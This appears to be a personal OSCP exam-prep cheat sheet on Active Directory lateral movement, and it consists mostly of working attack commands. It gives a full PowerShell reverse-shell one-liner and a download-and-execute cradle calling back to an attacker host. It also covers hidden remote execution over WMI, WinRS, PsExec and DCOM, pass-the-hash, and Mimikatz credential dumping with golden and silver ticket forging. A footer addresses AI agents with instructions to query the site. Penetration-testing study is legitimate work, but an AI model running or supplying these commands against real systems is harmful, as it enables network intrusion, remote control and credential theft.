# Lateral Movement

## Via Reverse Shells

{% code overflow="wrap" fullWidth="true" %}

```
Oneliner reverse shell:

    $payload = '$client = New-Object System.Net.Sockets.TCPClient("<Kali IP>",<Listening Port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
    
    $encodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
Powercat reverse shell:

    $payload = "IEX(New-Object System.Net.WebClient).DownloadString('http://<Kali IP>/powercat.ps1');powercat -c <Kali IP> -p <Listening Port> -e powershell"
    
    $encodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
```

{% endcode %}

### WMI

<pre data-overflow="wrap" data-full-width="true"><code><strong>On the Victime Machine:
</strong>    wmic /node:&#x3C;target IP> /user:&#x3C;username> /password:&#x3C;password> process call create "&#x3C;payload>"

Execute payload
    Example - wmic /node:&#x3C;IP> /user:&#x3C;username> /password:&#x3C;password> process call create "cmd"
    
    Example - $full_payload = "powershell -nop -w hidden -e $encodedPayload"
    Example - wmic /node:&#x3C;IP> /user:&#x3C;username> /password:&#x3C;password> process call create "$full_payload"
</code></pre>

### Powershell

{% code overflow="wrap" fullWidth="true" %}

```
$username = "<username>";
$password = "<password>";
$secureString = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

$sessionOption = New-CimSessionOption -Protocol Dcom
$session = New-CimSession -ComputerName <IP> -Credential $credential -SessionOption $sessionOption

$full_payload = "powershell -nop -w hidden -e $encodedPayload"

Execute payload
    Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $payload}
    
    OR
    
    New-PSSession -ComputerName <IP> -Credential $credential
    
```

{% endcode %}

### WINRS

{% code overflow="wrap" fullWidth="true" %}

```
$full_payload = "powershell -nop -w hidden -e $encodedPayload"
winrs -r:<target IP/hostname> -u:<username> -p:<password> "$payload"
```

{% endcode %}

## PsExec

<pre data-overflow="wrap" data-full-width="true"><code><strong>On Kali machine:
</strong><strong>    git clone https://github.com/davehardy20/sysinternals.git
</strong><strong>        > Located in sysinterals/psexec64.exe
</strong><strong>        > Transfer executable to the compromized machine
</strong><strong>
</strong><strong>On Victim machine:
</strong><strong>    psexec64.exe -i \\&#x3C;target IP/hostname> -u &#x3C;domain name>\&#x3C;username> -p "&#x3C;password>" "&#x3C;payload>"
</strong>
</code></pre>

## Passing the Hash

{% code overflow="wrap" fullWidth="true" %}

```
On Kali machine:
	impacket-wmiexec <username>@<target IP> -hashes :<user NTLM hash>
	proxychains impacket-wmiexec <username>@<target IP> -hashes :<user NTLM hash>
```

{% endcode %}

## DCOM

{% code overflow="wrap" fullWidth="true" %}

```
1. Instantiate a remote MMC 2.0 application
	$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<IP>"))

2. Start up a listener to catch reverse shells on our kali
	nc -nlvp 4444

3. Generate the payload, and 
	$full_payload = "powershell -nop -w hidden -e $encodedPayload"
	$dcom.Document.ActiveView.ExecuteShellCommand("<cmd | powershell>",$null,"$full_payload","7")

4. Return to the listener on our kali, we should receive a reverse shell coming from the target machine.
```

{% endcode %}

## SSH private keys

{% code overflow="wrap" fullWidth="true" %}

```
ssh-keygen -t rsa
	# Used to generate a ssh keypair

ssh -i <private key> <username>@<IP>
ssh -i <private key> <username>@<IP> -o IdentitiesOnly=yes
	# Use when there are multiple private keys in the .ssh directory
```

{% endcode %}

## Mimikatz

{% code overflow="wrap" fullWidth="true" %}

```
./mimikatz.exe
privilege::debug
	Identify target service user NTLM hash: sekurlsa::logonpasswords
	Identify krbtgt NTLM hash: lsadump::lsa /patch
	Get Domain SID: whoami /user

Overpass the Hash
	sekurlsa::pth /user:<username> /ntlm:<NTLM hash> /domain:<domain name> /run:<cmd | powershell>
	net use \\<target IP/hostname>
	./PsExec64.exe \\<target IP/hostname> <cmd | powershell>

Pass the Ticket
	sekurlsa::tickets /export
		# dir *.kirbi | findstr <username>
	kerberos::ptt <cifs.kirbi file name>
		# Attempt to access the resource as the current user, the authentication process will now make use of the newly injected TGT
	Example: ls \\<target IP/hostname>\<share name>
		iwr -UseDefaultCredentials http://<target IP/hostname>

Silver Ticket for specific service:
	kerberos::golden /rc4:<Target SPN NTLM Hash>  /sid:<Domain SID>  /domain:<domain name> /ptt /target:<Target SPN>  /service:<service protocol> /user:<authorized username>


Golden Ticket for all services:
	kerberos::golden /user:<username> /domain:<domain name> /sid:<domain SID> /krbtgt:<krbtgt NTLM hash> /ptt>

	Verify tickets with: klist
```

{% endcode %}

## Creating Users

{% code overflow="wrap" fullWidth="true" %}

```
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://personal-archive.gitbook.io/oscp-exam-prep/active-directory/lateral-movement.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.